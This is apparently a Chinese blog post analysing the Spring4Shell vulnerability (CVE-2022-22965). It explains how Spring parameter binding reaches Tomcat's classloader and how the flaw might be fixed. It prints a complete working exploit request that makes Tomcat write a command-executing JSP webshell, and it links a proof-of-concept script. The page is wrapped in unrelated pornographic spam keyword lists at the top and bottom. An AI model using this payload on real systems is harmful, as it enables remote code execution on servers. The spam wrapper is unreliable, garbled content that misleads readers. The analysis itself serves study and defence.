<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      spring4shell CVE-2022-22965 漏洞分析與流程圖解

      0X01 前言

      最近重新回顧漏洞,發現挺多都忘了,且暴露了一個問題,較少站在研發角度去考慮漏洞本身。
      比如spring4shell,只記得是classloader。
      所以感覺分析時,本身需求、實現方式設計、疏漏點與漏洞成因、自己猜想的修復方式會更重要些;更能體系化起來。

      所以回頭把spring4shell重看一遍

      慶幸的是,因曾做產品與研發,對于需求與用戶的關系(用戶為什么要這個需求)理解的比較容易,需求的實現方式設計起來也大差不差。

      0X02 漏洞描述

      spring在進行參數綁定時支持嵌套綁定,使得形如class.module.classLoader這樣的參數可以穿越修改AccessLogvlave的屬性。
      漏洞通過請求傳入的參數,利用SpringMVC參數綁定機制,控制了Tomcat AccessLogValve的屬性,讓Tomcat在webapps/ROOT目錄輸出定制的“訪問日志”tomcatwar.jsp,該“訪問日志”實際上為一個JSP webshell。

      0X03 漏洞本意分析

      漏洞原本需求:
      設置參數綁定功能,通過請求的參數改變對象的屬性,包括對象中的對象的屬性

      實現方式:
      獲取當前的類,根據設置的屬性,比如a.b.c.d=e,查找當前類的geta().getb.getc.getd,調用set(e)

      設計疏漏點:
      需求沒問題,實現方式也沒問題,但是很容易想到是否可以跳出當前類、去設置其他屬性。如果存在某個屬性可以設置到當前類之外的其他對象的屬性,那么可能造成漏洞。我們要尋找的就是這樣一種跳出當前類的方法

      0X04 漏洞成因分析

      漏洞成因:
      參數綁定classloader導致后續屬性賦值造成RCE

      payload

      https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py

      /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
      

      漏洞payload分析:
      class.module.classLoader.resources.context.parent.pipeline.first.pattern
      1 class獲取當前類
      2 module,獲取當前module。
      什么是module?
      https://blog.csdn.net/vincent_wen0766/article/details/114416461
      Java 平臺模塊系統,也就是 Project Jigsaw,把模塊化開發實踐引入到了 Java 平臺中。在引入了模塊系統之后,JDK 被重新組織成 94 個模塊。Java 應用可以通過新增的 jlink 工具,創建出只包含所依賴的 JDK 模塊的自定義運行時鏡像。這樣可以極大的減少 Java 運行時環境的大小。這對于目前流行的不可變基礎設施的實踐來說,鏡像的大小的減少可以節省很多存儲空間和帶寬資源
      3 classLoader
      classLoader類加載器,模塊的類加載器為tomcat的ParallelWebappClassLoader,轉而可設置tomcat的屬性
      4 后面的resources.context.parent.pipeline.first.pattern則是tomcat本身日志相關的的屬性

      漏洞修復:
      按常理,當前屬性get的時候,禁止到module即可。
      而tomcat也做了修復,把getResource給去掉了,雖然本身不是tomcat問題

      0X05 圖解

      轉載標注:http://www.rzrgm.cn/huim/p/17188542.html

      參考鏈接

      module平臺模塊系統是什么:https://blog.csdn.net/vincent_wen0766/article/details/114416461
      classloader:https://blog.csdn.net/Taobaojishu/article/details/113874686
      漏洞分析:https://javamana.com/2022/227/202208150248568326.html
      漏洞分析:https://www.anquanke.com/post/id/272149
      漏洞分析:https://forum.butian.net/share/1474
      漏洞分析:https://zhuanlan.zhihu.com/p/498778896
      idea tomcat映射問題:https://blog.csdn.net/god_zzZ/article/details/124029497
      spring event事件概念: https://baijiahao.baidu.com/s?id=1617119527751442850&wfr=spider&for=pc

      posted @ 2023-03-07 16:29  huim  閱讀(380)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 国产高潮视频在线观看| 狠狠色噜噜狠狠狠狠色综合网| 无码国模国产在线观看免费| 婷婷色综合成人成人网小说| 99www久久综合久久爱com| 亚洲夜色噜噜av在线观看| 国产首页一区二区不卡| 黄网站色视频免费观看| 国产麻豆放荡av激情演绎| 无码AV无码免费一区二区| 免费无码毛片一区二三区| 色综合久久天天综线观看| 亚洲伊人精品久视频国产| 欧美日产国产精品日产| 国产精品乱子乱xxxx| 99麻豆久久精品一区二区| 亚洲精品无码成人A片九色播放| 人妻激情一区二区三区四区| 中文字幕日韩精品有码视频| 九九热精品在线视频免费| 国产亚洲色婷婷久久99精品| 免费特黄夫妻生活片| 国产精品99久久久久久www| 暖暖影院日本高清...免费| 99精品国产在热久久婷婷| 久久国内精品一区二区三区| 亚洲三级香港三级久久| 97色伦97色伦国产| 亚洲黄色第一页在线观看| 国产96在线 | 亚洲| 国产麻豆放荡av激情演绎| 亚洲大尺度无码无码专线| 色悠悠国产精品免费在线| 国产超高清麻豆精品传媒麻豆精品 | 日韩精品无码去免费专区| 国产国亚洲洲人成人人专区| 老司机精品成人无码AV| 日本高清一区免费中文视频| 久久亚洲精品中文字幕波多野结衣| 亚洲国产精品色一区二区| 日韩激情一区二区三区|